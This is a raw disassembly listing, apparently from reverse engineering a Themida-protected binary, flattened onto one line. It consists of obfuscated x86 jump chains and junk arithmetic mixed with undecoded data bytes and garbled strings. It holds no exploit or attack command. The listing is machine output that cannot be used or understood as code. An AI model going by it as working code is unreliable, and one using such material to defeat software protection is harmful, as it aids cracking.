mov edx, esp push eax push edi jmp loc_561C1E ; --------------------------------------------------------------------------- loc_561420: ; CODE XREF: Themida_:0055809Fj mov eax, 0AEA7AC21h add ebx, eax pop eax mov ebp, ebx pop ebx push edi jmp loc_559B80 ; --------------------------------------------------------------------------- db 81h, 0C7h, 0F8h dd 81743B04h, 27518CF7h, 0C1EF817Eh, 814B6A4Ch, 0EF7539EFh dd 39B2E941h, 0DEF7FFFFh, 0FEEEA5E9h, 240C31FFh, 5C240C33h dd 9C240409h, 0FEC960E9h db 0FFh ; --------------------------------------------------------------------------- loc_561465: ; CODE XREF: Themida_:00558E69j not dword ptr [esp] pop ebx sub ebx, 1 push 49AAh mov [esp], edi mov edi, 34821C51h jmp loc_56039B ; --------------------------------------------------------------------------- db 0D1h, 0E8h, 0E9h dd 0FFFFC14Bh ; --------------------------------------------------------------------------- loc_561488: ; CODE XREF: Themida_:00558A41j xor ebx, eax xor eax, ebx push esi mov esi, 1 and eax, esi jmp loc_561402 ; --------------------------------------------------------------------------- db 83h, 0E9h, 4 dd 5C240C87h, 0FF0FBEE9h, 6DCA81FFh, 8176FA59h, 3FF499F2h dd 5AD301EBh, 57E9DE01h, 68FFFFB5h, 34F1h, 89242C89h, 0F972E9E5h dd 34FFFFFEh, 6277E924h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5614D2: ; CODE XREF: Themida_:0055A486j pop edi xchg ebx, [esp] jmp loc_551B47 ; --------------------------------------------------------------------------- loc_5614DB: ; CODE XREF: Themida_:005553BAj mov [esp], ebx mov ebx, 0DD64C58h jmp loc_5571DA ; --------------------------------------------------------------------------- dd 5ACFB951h, 8CE97BC2h db 0ABh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5614F3: ; CODE XREF: Themida_:005564E7j push 20AFh mov [esp], edi mov edi, 8F4D5Dh or edi, 454652D9h xor edi, 0E72018Eh sub edi, 0DB7D3D54h not edi shl edi, 2 shl edi, 5 push ebx push esi push 7F5A7309h pop esi not esi sub esi, 7A6B758Fh dec esi sub esi, 0DBEB0EB3h jmp loc_557965 ; --------------------------------------------------------------------------- loc_561536: ; CODE XREF: Themida_:005526ACj mov [esp], eax mov eax, 786E43C4h jmp loc_56288A ; --------------------------------------------------------------------------- loc_561543: ; CODE XREF: Themida_:0055CE03j add ecx, eax sub ecx, 3BC02A25h mov eax, [esp] push ebx mov ebx, esp jmp loc_54F1AD ; --------------------------------------------------------------------------- dw 1C8Bh dd 4C48324h, 4C381h, 0C3810000h, 4, 31241C33h, 1C33241Ch dd 2521E924h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_561576: ; CODE XREF: Themida_:00556408j push ebx jmp loc_55F7D5 ; --------------------------------------------------------------------------- dd 0E908EFC1h, 0FFFFE60Bh, 0D56EE95Bh db 0FEh, 0FFh ; --------------------------------------------------------------------------- loc_56158A: ; CODE XREF: Themida_:005521D8j sub edx, 40AA374Eh jmp loc_554D7B ; --------------------------------------------------------------------------- db 81h, 0E9h, 0C4h dd 0E9267F30h, 0FFFED212h, 0B753620Ch, 0CD8DE9A4h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5615AA: ; CODE XREF: Themida_:0055B096j xor edi, 0DCF5556Bh add eax, edi push dword ptr [esp] pop edi add esp, 4 add edx, eax pop eax pop ebp add edx, 4 xchg edx, [esp] mov esp, [esp] jmp loc_55752E ; --------------------------------------------------------------------------- dw 55B8h dd 0F73BEA0Dh, 54A3E9D8h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5615DA: ; CODE XREF: Themida_:00557329j mov bl, dl mov al, bl pop ebx jmp loc_55160A ; --------------------------------------------------------------------------- loc_5615E4: ; CODE XREF: Themida_:0055F994j add esi, 4 sub esp, 4 mov [esp], esi push dword ptr [esp+4] push dword ptr [esp] pop esi add esp, 4 pop dword ptr [esp] jmp loc_55EE21 ; --------------------------------------------------------------------------- loc_561606: ; CODE XREF: Themida_:00551228j xor [esp], esi xor esi, [esp] pop esp jmp loc_556D93 ; --------------------------------------------------------------------------- dw 0BF57h dd 6C1630F8h, 0E9CF0868h, 0C2815A93h, 0C1D0883h, 0F7DEA81h dd 0E9536158h, 0FFFF3938h ; --------------------------------------------------------------------------- loc_561630: ; CODE XREF: Themida_:0055D737j pop edi xor eax, [esp] xor [esp], eax xor eax, [esp] mov esp, [esp] mov [esp], ebx push 3378h mov [esp], edi jmp loc_55C10E ; --------------------------------------------------------------------------- loc_56164D: ; CODE XREF: Themida_:0055C121j sub esp, 4 jmp loc_561B9E ; --------------------------------------------------------------------------- db 59h, 1, 0CDh dd 0FFD749E9h, 5366ACFFh, 84E907B7h, 66FFFFAAh, 4334F381h dd 7EBC166h, 0B3BA6652h, 0F281664Fh, 81666E63h, 0E95CBDC2h dd 0FFFF6063h, 3AE9008Fh, 5CFFFEC7h, 8904EC83h, 7E9242Ch dd 89000000h, 0C345E9D6h, 5D54FFFFh, 206268h, 240C8900h dd 0FF47F8E9h db 0FFh ; --------------------------------------------------------------------------- loc_5616AD: ; CODE XREF: Themida_:0055C20Ej shl edx, 2 shl edx, 6 jmp loc_5598D4 ; --------------------------------------------------------------------------- loc_5616B8: ; CODE XREF: Themida_:0054DDC6j xor al, bl push 257Dh mov [esp], ecx push ebx push 4C2h mov [esp], edx jmp loc_559960 ; --------------------------------------------------------------------------- dd 0E9028F64h, 0FFFEC6EDh, 0B8665066h, 296615EFh, 0E95866C6h dd 0FFFF9961h, 835FFD01h, 2C3304EDh, 242C3124h, 8B242C33h dd 3C892424h, 68E78924h, 7431h, 0E9240C89h, 0FFFEFE90h dd 4C4835Fh, 5503E2C1h, 0E77E9h db 0 ; --------------------------------------------------------------------------- loc_561719: ; CODE XREF: Themida_:005557CFj mov eax, ebp pop ebp jmp loc_557B06 ; --------------------------------------------------------------------------- db 51h, 0B5h, 89h dd 0FFAD7BE9h, 0E962B6FFh, 0FFFF151Fh, 0CC80C4FEh, 0FFEC80E0h dd 2850ED80h, 0B921E9E5h, 2C89FFFFh, 1C45E924h, 0C580FFFFh dd 59E82800h, 0FE4AE959h, 34FFFFFFh, 0C4815A24h, 4, 0FFC305E9h dd 240C89FFh, 0FECDF9E9h, 1E6851FFh, 0E900000Dh, 0FFFFEA5Dh dd 815AD701h, 4C7h, 243C8700h, 0FB8505Ch, 48688156h, 0D2E9D0F7h dd 89FFFF7Bh, 4BF57E3h, 50000000h, 0D9790EB8h, 18DD0571h dd 2CE91191h, 5AFFFF9Eh, 31240433h, 4332404h, 24248B24h dd 0E9E1F766h, 0FFFEE216h, 8002EBC0h, 0C1803EEBh, 99AE94Ah db 2 dup(0) ; --------------------------------------------------------------------------- loc_5617CE: ; CODE XREF: Themida_:0055E410j xor ah, ch pop cx shr ah, 6 push 1F24h jmp loc_5514B0 ; --------------------------------------------------------------------------- loc_5617DF: ; CODE XREF: Themida_:0054F248j add edi, 0F2C55939h jmp loc_54FA11 ; --------------------------------------------------------------------------- dw 4968h dd 5E59BE1Ch, 95DF681h, 0D8680BBCh, 89000017h, 82B9240Ch dd 0E962A753h, 0FFFEE215h ; --------------------------------------------------------------------------- loc_561808: ; CODE XREF: Themida_:00554330j push dword ptr [esp] pop eax add esp, 4 push 21C1h jmp loc_55A1C2 ; --------------------------------------------------------------------------- loc_56181C: ; CODE XREF: Themida_:0055DFA5j sub esp, 4 mov [esp], ecx mov ecx, 265A3FFAh sub ebp, ecx mov ecx, [esp] add esp, 4 add ebp, 0FFFFFFFFh jmp loc_55F2F2 ; --------------------------------------------------------------------------- loc_56183A: ; CODE XREF: Themida_:00554D53j mov ebp, 1D885131h sub ebx, ebp pop ebp sub ebx, 416B00B5h jmp loc_5610DE ; --------------------------------------------------------------------------- db 0BDh, 4, 0 dd 89530000h, 0DEC1E9E3h, 0CBEFFFEh, 817B5E5Eh, 6D7C2CE6h dd 0E1C6814Eh, 0E9500514h, 0FFFF0174h, 9F9BB850h, 0C131CC54h dd 595F5158h, 6039F781h, 0FD893BA8h, 0D0EB815Fh, 0E9148728h dd 0FFFF6FF3h, 8324048Bh, 0F7E904C4h db 24h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_56189B: ; CODE XREF: Themida_:00559194j push edi mov edi, 64B36B44h sub edi, 5E263B61h add edi, 1 inc edi add edi, 64FC4498h mov edx, edi pop edi jmp loc_5557A9 ; --------------------------------------------------------------------------- loc_5618BC: ; CODE XREF: Themida_:0055BF21j mov ebx, 714A4A70h jmp loc_54F028 ; --------------------------------------------------------------------------- loc_5618C6: ; CODE XREF: Themida_:00561C4Dj pop ebp sub edx, 0FBDF76CDh jmp loc_5545E5 ; --------------------------------------------------------------------------- dw 348Bh dd 0D9B6E924h, 685EFFFEh, 1989h, 83243489h, 2C8904ECh dd 4302BD24h, 685234A3h, 67D7002Fh, 4ABB535Ah, 0E90C60A1h dd 0FFFF35F5h, 68E18951h, 5233h, 83241C89h, 348904ECh dd 6065BE24h, 0FF563777h, 565E240Ch, 1242C81h, 8B000000h dd 0C4832434h, 67F68104h, 0E9377760h, 0FFFFE240h, 534FB652h dd 0EC8355B7h, 0C896602h, 2857B524h, 285966EEh, 57C680FEh dd 0C0C6FE5Bh, 0CE8004E6h, 0C5E95003h db 63h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_56195B: ; CODE XREF: Themida_:0055D934j add edx, 5E5940CEh sub edx, 5E553816h add edi, edx pop edx xchg edi, [esp] mov esp, [esp] push ecx mov ecx, esp jmp loc_55FC8D ; --------------------------------------------------------------------------- dd 89241C89h, 4C381E3h, 68000000h, 68EBh, 0BF243C89h, 2 dd 647F68h, 242C8900h, 413449BDh, 69AEE961h, 0E168FFFFh dd 89000065h, 24E92434h db 0D4h, 0FEh, 0FFh ; --------------------------------------------------------------------------- loc_5619AF: ; CODE XREF: Themida_:0055E9E2j mov esi, esp add esi, 4 jmp loc_55DC01 ; --------------------------------------------------------------------------- dd offset dword_4A42CC+539Ch dd 241C8900h, 0FF28DCE9h, 0CEBA52FFh, 8124FA25h, 0C00574CAh dd 0C1DAF719h, 0D2F704EAh, 0FF21A2E9h db 0FFh ; --------------------------------------------------------------------------- loc_5619E1: ; CODE XREF: Themida_:0055ECD7j and eax, ecx jmp loc_5551A2 ; --------------------------------------------------------------------------- loc_5619E8: ; CODE XREF: Themida_:00554932j pop eax push dword ptr [esp] jmp loc_55AADF ; --------------------------------------------------------------------------- loc_5619F1: ; CODE XREF: Themida_:005510E8j xchg edx, [esp] pop esp mov [esp], ebp jmp loc_55C9E3 ; --------------------------------------------------------------------------- loc_5619FD: ; CODE XREF: Themida_:005522D5j pop ecx shr eax, 0Ah jmp loc_55D642 ; --------------------------------------------------------------------------- dw 0C9FEh dd 0C180D1F6h, 8BC80025h, 0C481240Ch, 4, 68C3305Bh, 1C4Bh dd 0E9241C89h, 0FFFFA458h, 0E9240C8Bh, 0FFFFB9EDh, 0B8E9E089h dd 83FFFFD4h, 5E042404h, 8904EC83h, 6BBA2414h, 4A479B6Dh dd 8104EAC1h, 4EB96FF2h, 0A8EA810Ch, 4A315F35h, 1F685342h dd 5B75074Ch, 0FF3F90E9h, 0E9E389FFh, 0FFFEF010h, 241C895Ch dd 0C22D5CBBh, 78F38140h, 0E975876Eh, 0FFFFF0B7h ; --------------------------------------------------------------------------- loc_561A80: ; CODE XREF: Themida_:00556B97j add edi, 0A9659C6Eh mov ecx, edi jmp loc_555661 ; --------------------------------------------------------------------------- dd offset dword_55C128+40h align 2 dw 489h dd 0E9E08924h, 0FFFEE6A7h ; --------------------------------------------------------------------------- loc_561A9C: ; CODE XREF: Themida_:005501E7j push edi mov edi, 1198021Fh xor esi, edi pop edi mov ebx, esi pop esi add ebx, edi add [ebx], ecx pop ebx push dword ptr [esp] mov ecx, [esp] jmp loc_55436E ; --------------------------------------------------------------------------- loc_561AB8: ; CODE XREF: Themida_:0055F918j add ecx, 8A5487B8h sub ebp, ecx jmp loc_5527B0 ; --------------------------------------------------------------------------- loc_561AC5: ; CODE XREF: Themida_:0054F2D6j push 100h jmp loc_55A223 ; --------------------------------------------------------------------------- loc_561ACF: ; CODE XREF: Themida_:0054E02Aj mov ebx, 0A2F26D78h add ebx, edx pop edx jmp loc_55F629 ; --------------------------------------------------------------------------- aX313LS db 'X3,$1,$3,$‹$$S»',0 dd 0E9000000h, 0FFFF99B8h, 9D1C77FFh, 11665866h, 0E99C2404h dd 0FFFF264Fh, 5B2434FFh, 4A4468h, 24348900h, 144068h dd 24248900h, 4240481h, 5E000000h, 0BCADE955h, 0C781FFFFh dd 4, 0E9243C87h, 0FFFF067Eh ; --------------------------------------------------------------------------- loc_561B34: ; CODE XREF: Themida_:0055D37Ej not eax shl eax, 3 push eax not dword ptr [esp] pop eax push ebx jmp loc_54E5CA ; --------------------------------------------------------------------------- dd 5C240C87h, 0E9241489h, 0FFFFCA79h, 85D2C581h, 0C5812F12h dd 83C3EAF9h, 815DE901h, 4C1h, 7FBAE900h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_561B6A: ; CODE XREF: Themida_:0055919Cj push edi push 66760719h jmp loc_55E67E ; --------------------------------------------------------------------------- db 68h, 0A0h, 30h dd 14890000h, 2BA24h, 0CEE90000h db 2Bh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_561B87: ; CODE XREF: Themida_:00555296j push eax mov eax, 5564385Bh push ecx mov ecx, 5564385Fh xor eax, ecx pop ecx add esi, eax pop eax jmp loc_55EE1B ; --------------------------------------------------------------------------- loc_561B9E: ; CODE XREF: Themida_:00561650j mov [esp], esi jmp loc_55F884 ; --------------------------------------------------------------------------- loc_561BA6: ; CODE XREF: Themida_:00552F55j pop dword ptr [esp] jmp loc_55D62D ; --------------------------------------------------------------------------- loc_561BAE: ; CODE XREF: Themida_:005566A1j mov [esp], eax jmp loc_55657F ; --------------------------------------------------------------------------- dw 8B66h dd 92682404h, 89000065h, 7C68241Ch, 8900007Eh, 0CFE92424h dd 5BFFFED7h, 8105E6C1h, 0B7D85CEEh, 7DC58161h, 167FB1Ah dd 7DBF57F5h, 0E967FB1Ah, 40Ah, 220BCD81h, 0E5C113CEh dd 0FBE5603h, 0E905171Bh, 0FFFF103Eh, 4C04410Dh, 819CE957h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_561C0A: ; CODE XREF: Themida_:00561F26j pop ebx shr ebx, 5 push eax mov eax, 72D35C6Eh sub eax, 950E51Bh jmp loc_55D8D3 ; --------------------------------------------------------------------------- loc_561C1E: ; CODE XREF: Themida_:0056141Bj mov edi, 53690283h push edi jmp loc_5558BF ; --------------------------------------------------------------------------- loc_561C29: ; CODE XREF: Themida_:00560482j not dword ptr [esp] pop eax xchg eax, ebp sub esp, 4 mov [esp], edx mov edx, 38D16C5Fh sub ebp, edx pop edx or ebp, 1BE92254h xor ebp, 41B54810h or edx, ebp jmp loc_5618C6 ; --------------------------------------------------------------------------- loc_561C52: ; CODE XREF: Themida_:005549B7j pop ecx xchg ebp, ebx not ebp jmp loc_551D4E ; --------------------------------------------------------------------------- dd 4BBh, 245C0100h, 3C8B5B04h, 0BD5E924h db 2 dup(0) ; --------------------------------------------------------------------------- loc_561C6E: ; CODE XREF: Themida_:00556015j mov ebp, 3D5B61BEh or ebp, 94F435Eh jmp loc_5595DD ; --------------------------------------------------------------------------- dw 8B66h db 0Ch, 24h ; --------------------------------------------------------------------------- push ebp mov ebp, esp push ecx jmp loc_5554F1 ; --------------------------------------------------------------------------- loc_561C8B: ; CODE XREF: Themida_:00551DFBj mov [esp], ecx push 6A653765h pop ecx add esi, ecx mov ecx, [esp] add esp, 4 sub esi, 0FFFFFFFFh add esi, 45D38627h jmp loc_55E22F ; --------------------------------------------------------------------------- db 50h, 0B8h, 32h dd 0D67592Dh, 38365E06h, 470E220Dh, 0D4EC052Bh, 0C601D8FDh dd 0FF7122E9h, 0C08396FFh, 0E2EE901h, 0DB3FFFFh, 815BDC88h dd 4ECh, 8FFBE900h, 74FFFFFFh, 8F5B0424h, 0F3E92404h, 83FFFFB2h dd 0C48304C4h, 243C8704h, 0D324248Bh, 0E99C2424h, 0FFFEC0C1h dd 0E99C5166h, 0FFFEC0B9h, 0C181E189h, 4, 0FF0935E9h, 56E589FFh dd 0FFEB00E9h, 243489FFh, 1062CEBEh, 0CAF68128h, 68281062h dd 7E28h, 0BB241C89h, 733E699Eh, 0E9D3F74Bh, 0FFFECF1Fh ; --------------------------------------------------------------------------- loc_561D44: ; CODE XREF: Themida_:0055F713j shr esi, 8 add esi, 3DFB5960h sub esi, 243E168Ah jmp loc_55E42C ; --------------------------------------------------------------------------- loc_561D58: ; CODE XREF: Themida_:00556203j add esp, 4 push dword ptr [esp] jmp loc_55A701 ; --------------------------------------------------------------------------- db 5Ah dd 0C7C78158h, 0E930D95Dh, 0FFFF318Ch, 8107EBC1h, 6A39B7F3h dd 5BDF8970h, 0FFB350E9h db 0FFh ; --------------------------------------------------------------------------- loc_561D81: ; CODE XREF: Themida_:005521EAj push edx push 7F740301h jmp loc_55EAF1 ; --------------------------------------------------------------------------- loc_561D8C: ; CODE XREF: Themida_:0055D669j pop edx shr eax, 0Ch xor eax, ecx push edx jmp loc_556DBE ; --------------------------------------------------------------------------- dd 0E92434FFh, 0FFFEE136h, 2B850h, 0C5010000h, 0FF1F25E9h dd 240C87FFh, 0DF8AE95Ch, 0E95DFFFEh, 0FFFEDC77h, 1569E958h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_561DC2: ; CODE XREF: Themida_:00561130j shl ecx, 3 dec ecx add ecx, 2011006Dh add ebx, ecx pop ecx sub ebx, 4 sub esp, 4 mov [esp], ebx push dword ptr [esp+4] jmp loc_556467 ; --------------------------------------------------------------------------- db 8Bh, 4, 24h dd 4C481h, 89510000h, 4C181E1h, 83000000h, 0C8E904E9h db 38h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_561DFB: ; CODE XREF: Themida_:00552176j sub esp, 4 mov [esp], ecx mov ecx, 1B792ED1h jmp loc_5606A9 ; --------------------------------------------------------------------------- dw 0C483h dd 8BD60104h, 0C4812414h, 4, 0FFB4A5E9h, 2474FFFFh, 48F5904h dd 24248B24h, 0FF30DBE9h, 0BF8FE9FFh db 0FEh, 0FFh ; --------------------------------------------------------------------------- loc_561E36: ; CODE XREF: Themida_:0055BFCBj mov esp, [esp] add bl, 0Eh add bl, al sub bl, 0Eh push ecx mov ch, 12h shl ch, 6 jmp loc_54E3DE ; --------------------------------------------------------------------------- dd 6EDAC181h, 0E18158DAh, 6009322Ch, 0B00F181h, 0CD0141C9h dd 81240C8Bh, 4C4h, 0C2C18100h, 10CC32Eh, 4EC83E9h, 0FFB406E9h dd 2434FFFFh, 0FF2465E9h db 0FFh ; --------------------------------------------------------------------------- loc_561E81: ; CODE XREF: Themida_:0055A866j add ebx, ebp jmp loc_54F651 ; --------------------------------------------------------------------------- dd 8704C183h, 85E9240Ch, 5BFFFEE0h, 0FF4574E9h, 4C681FFh dd 81000000h, 4ECh, 24048900h, 4B8h, 44BD5500h, 29467F45h dd 6EE95DEEh, 58FFFFEFh, 0AEE9D829h, 89FFFFC5h, 9CBA2414h dd 517B8953h, 0FEDF6BE9h db 0FFh ; --------------------------------------------------------------------------- loc_561ED1: ; CODE XREF: Themida_:00559A63j push 20AFh mov [esp], eax jmp loc_54DDC5 ; --------------------------------------------------------------------------- dw 0C181h dd 428B6C0Ah, 4EC8355h, 0E9243489h, 0FFFF70CDh, 1019E95Ah dd 248BFFFFh, 9FE924h, 50510000h, 0FF1E58E9h, 320368FFh dd 3DE90000h, 81FFFF92h, 0DF6659EDh, 243C8B6Bh, 4C481h dd 41E90000h db 9Eh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_561F23: ; CODE XREF: Themida_:00558A3Aj inc dword ptr [esp] jmp loc_561C0A ; --------------------------------------------------------------------------- db 58h dd 19E9F589h, 5EFFFF24h, 158C189h, 0C781E9CBh, 0C481FFFEh dd 4, 0FEFD39E9h, 0F4B951FFh, 157BB25h, 5908244Ch, 0FF8118E9h dd 0CB685EFFh, 8900002Ah, 91682414h, 5A136326h, 0E9E68956h dd 0FFFF9C2Ah ; --------------------------------------------------------------------------- loc_561F70: ; CODE XREF: Themida_:00554AF8j mov ebx, [esp] push esi mov esi, esp add esi, 4 add esi, 4 xchg esi, [esp] pop esp push edx jmp loc_54E918 ; --------------------------------------------------------------------------- dd 58C7015Bh, 0BB5FFD89h, 72BD5D11h, 0FF1A78E9h, 48F66FFh dd 66526624h, 662414F7h, 8324148Bh, 316602C4h, 33662414h dd 31662414h, 6E92414h, 57FFFEBEh, 0FF79B6E9h db 0FFh ; --------------------------------------------------------------------------- loc_561FC5: ; CODE XREF: Themida_:00559220j mov esi, [esp] add esp, 4 pop ebp push 62Ch mov [esp], ebx mov ebx, 0AC14139h sub edx, ebx pop ebx add ebp, edx pop edx push edx mov edx, 2A856B29h shl edx, 8 add edx, 33E45349h jmp loc_54FDF5 ; --------------------------------------------------------------------------- dw 0FD29h dd 0E90AE95Fh db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_561FFE: ; CODE XREF: Themida_:00554E3Dj pop edi push ebp push dword ptr [esp+4] pop ebp pop dword ptr [esp] pop esp jmp loc_556334 ; --------------------------------------------------------------------------- dw 0EC83h dd 24348904h, 5F498EBEh, 8BF68179h, 812AFD5Ch, 8DDCD2EEh dd 2FEE8138h, 11B1438h, 24348BF0h, 55E08950h, 4BDh, 34430500h dd 0E801777Dh, 7D34432Dh, 0C547E977h, 868FFFFh, 8900001Ah dd 0B2B42404h, 0FFDECBE9h, 7E8C1FFh, 0FF1959E9h, 0ABEA81FFh dd 1000A44h, 24148BD6h, 8898E952h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_562072: ; CODE XREF: Themida_:005570CCj sub dword ptr [esp+8], 697E3E9Bh mov ebp, [esp] add esp, 4 add [esp+4], eax jmp loc_557743 ; --------------------------------------------------------------------------- db 0BBh, 0Bh, 13h dd 0DF015847h, 0EA12E95Bh, 0E589FFFEh, 0FFB0B9E9h, 0CA815AFFh dd 1A0862C4h, 0FFF1D2E9h db 0FFh ; --------------------------------------------------------------------------- loc_5620A9: ; CODE XREF: Themida_:00557FD4j mov esi, [esp] add esp, 4 jmp loc_55CC26 ; --------------------------------------------------------------------------- dd 240C8B66h, 76B768h, 242C8900h, 0F2E9E589h, 5CFFFEDBh dd 4EC81h, 43E90000h, 0B9FFFED7h, 0E0AF87D6h, 2B4CC181h dd 0F1012898h, 1DABF57h, 814774EFh, 52381FF7h, 0E1C78157h dd 56488237h, 0FEEBA4E9h db 0FFh ; --------------------------------------------------------------------------- loc_5620F9: ; CODE XREF: Themida_:0055DEA0j mov [esp], ebp push 0 jmp loc_558CF8 ; --------------------------------------------------------------------------- dw 0EA81h dd 531D16FDh, 0FF4E6AE9h, 2C895CFFh, 0A3FDE924h, 48BFFFFh dd 4C48124h, 8B000000h, 81502434h, 4ECh, 0ACE9E900h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_562132: ; CODE XREF: Themida_:0055FF09j push edi mov edi, ebp mov eax, edi pop edi push dword ptr [esp] mov ebp, [esp] push esi mov esi, esp add esi, 4 add esi, 4 jmp loc_5504D8 ; --------------------------------------------------------------------------- loc_562152: ; CODE XREF: Themida_:00559D70j push dword ptr [esp+4] push dword ptr [esp] pop ebx push edx jmp loc_552506 ; --------------------------------------------------------------------------- dd 0E9515A66h, 0FFFF516Dh, 0E980D900h, 0CC205B4Ah, 0E9240C8Bh dd 0FFFF0567h, 6624248Bh, 81240C8Bh, 4ECh, 241C8900h, 85568h dd 0AE69E900h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_562192: ; CODE XREF: Themida_:00560938j xchg ecx, ebp neg ecx xchg ecx, ebp add ebp, 32564362h shl ebp, 6 push 60C0h mov [esp], ebx jmp loc_55F656 ; --------------------------------------------------------------------------- dw 8142h dd 0B78EE5F2h, 5AD3896Ah, 47F0EB81h, 0F3816750h, 27F4177h dd 6A1DF381h, 0F3813065h, 0C588936Bh, 0FFB5F1E9h, 0B8505CFFh dd 8FBD1843h, 3AE9C329h, 0F7FFFF83h, 8E8C1D0h, 892A2F35h dd 0E9C10100h, 0FFFFED35h, 0FF2414F7h, 13E92434h db 0BAh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5621FF: ; CODE XREF: Themida_:0054DFC2j push edx pop eax pop edx jmp loc_5552E3 ; --------------------------------------------------------------------------- db 5Fh dd 0A14FB105h, 2DD00134h, 34A14FB1h, 0FEFDF7E9h, 0B6E950FFh dd 8FFFFF37h, 0E9562404h, 0FFFEE575h ; --------------------------------------------------------------------------- loc_562228: ; CODE XREF: Themida_:00558387j mov ebp, 5DDD2EA3h neg ebp add ebp, 0FFFFFFFFh xor ebp, 8541FABh sub ebp, 6CF03656h add ebp, 16CA58A3h xor ebp, 75BDA9C8h add eax, 66086CB6h add eax, 51982A2Ch sub eax, ebp sub eax, 51982A2Ch push esi jmp loc_55C45D ; --------------------------------------------------------------------------- dd 0A1F780h, 0EA805BFAh, 80FA28C5h, 0EA80C5C2h, 241C8B17h dd 0E904C483h, 0FFFFBD36h, 0DD243481h, 5B2BD84Eh, 27E0BE56h dd 32E97111h, 5BFFFF4Bh, 0FF1FECE9h, 0EDF381FFh, 0E94E4F6Ch dd 0FFFEBC91h ; --------------------------------------------------------------------------- loc_5622A4: ; CODE XREF: Themida_:0055E0EEj pop dword ptr [esp] jmp loc_552D0A ; --------------------------------------------------------------------------- dd 582434FFh, 0AB2E955h, 0C781FFFFh, 4, 0E9243C87h, 0FFFF3D87h dd 1493E981h, 0E9812E07h, 0EEF00DBh, 0B5C98141h, 0E9783D6Bh dd 0FFFEFE9Fh, 81242C8Bh, 4C4h, 2DE95600h db 0D7h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5622EB: ; CODE XREF: Themida_:0055EAECj pop ebp push 4B51h mov [esp], ebp jmp loc_554D9C ; --------------------------------------------------------------------------- db 29h, 0D6h, 5Ah dd 0BE9C601h db 0A0h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_562303: ; CODE XREF: Themida_:0055258Ej mov edi, 4909437Ah sub edi, 2E4E126Eh jmp loc_55CC1F ; --------------------------------------------------------------------------- loc_562313: ; CODE XREF: Themida_:0055BB19j mov ecx, 18FC3D5Eh push esi mov esi, 0AC34C0Fh xor esi, 5DA10CC8h add ecx, esi pop esi push ebp mov ebp, 2DD7E447h xor ecx, ebp mov ebp, [esp] add esp, 4 push ecx push edx mov edx, 39E70A6h xor [esp+4], edx pop edx pop ebp jmp loc_557FED ; --------------------------------------------------------------------------- dw 0C381h dd 0FFFFFFFFh, 0C077EB81h, 83E9D997h, 87FFFF8Ah, 0C15A241Ch dd 0EA8107EAh, 64A740Dh, 1EA81h, 0F2810000h, 49384CB0h dd 53E95356h, 66FFFF99h, 5324048Bh, 241C8B54h, 8104C483h dd 4C3h, 0ABE95700h db 6Eh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_562393: ; CODE XREF: Themida_:00558FFAj mov ah, 5Ch or bl, ah jmp loc_55E460 ; --------------------------------------------------------------------------- dd 405E089h, 83000000h, 48704C0h, 0A2EAE924h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5623AE: ; CODE XREF: Themida_:0055A49Cj pop esp sub esp, 4 mov [esp], edi jmp loc_56096B ; --------------------------------------------------------------------------- loc_5623BA: ; CODE XREF: Themida_:00560D27j push dword ptr [esp] push dword ptr [esp] pop eax add esp, 4 push ebx mov ebx, esp add ebx, 4 add ebx, 4 xchg ebx, [esp] jmp loc_55677B ; --------------------------------------------------------------------------- db 89h dd 0E9552414h, 0FFFF260Dh, 83241C8Bh, 0F90904C4h, 0E9E9815Fh dd 816FDFFFh, 0C03BBCEFh, 84B95160h, 50160E29h, 0FEFA50E9h dd 4C083FFh, 5C240487h, 0FF1BF9E9h, 5EC581FFh, 0E927605Fh dd 0FFFF6FF5h, 79F38166h, 0DE21664Ah, 0F2AEE95Bh db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_56242A: ; CODE XREF: Themida_:0055FB29j mov ecx, esp add ecx, 4 jmp loc_552CE2 ; --------------------------------------------------------------------------- aN1Siuhhb db '1ØS‰ãhHb',0 align 2 dw 489h dd 4B824h, 0C3010000h, 8324048Bh, 0B85004C4h, 4, 8758C329h dd 0AEE9241Ch db 0FCh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_562463: ; CODE XREF: Themida_:0054F6FBj inc edi or edi, 1117188Bh xor edi, 77BF598Bh add esi, edi mov edi, [esp] add esp, 4 push 0FD6h mov [esp], ecx push esi mov esi, 770717D2h xor esi, 770717D6h jmp loc_55154E ; --------------------------------------------------------------------------- loc_562491: ; CODE XREF: Themida_:0055713Bj pop eax jmp loc_558B7D ; --------------------------------------------------------------------------- db 53h dd 1DE9E389h db 25h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_56249F: ; CODE XREF: Themida_:00562647j push ebx push dword ptr [esp+4] mov ebx, [esp] push edi push esp pop edi add edi, 4 add edi, 4 xchg edi, [esp] mov esp, [esp] jmp loc_560C3E ; --------------------------------------------------------------------------- dw 8B66h dd 1768240Ch, 8900005Ah, 0FCE9241Ch db 0E2h, 0FEh, 0FFh ; --------------------------------------------------------------------------- loc_5624CF: ; CODE XREF: Themida_:00558812j add esp, 4 sub esp, 4 mov [esp], esi push esp pop esi add esi, 4 add esi, 4 xor esi, [esp] xor [esp], esi xor esi, [esp] mov esp, [esp] jmp loc_55F7E2 ; --------------------------------------------------------------------------- db 0BDh dd 0A240C17h, 0FF5DE929h, 3C8B2434h, 4C48124h, 50000000h dd 0DDE9E089h db 1, 2 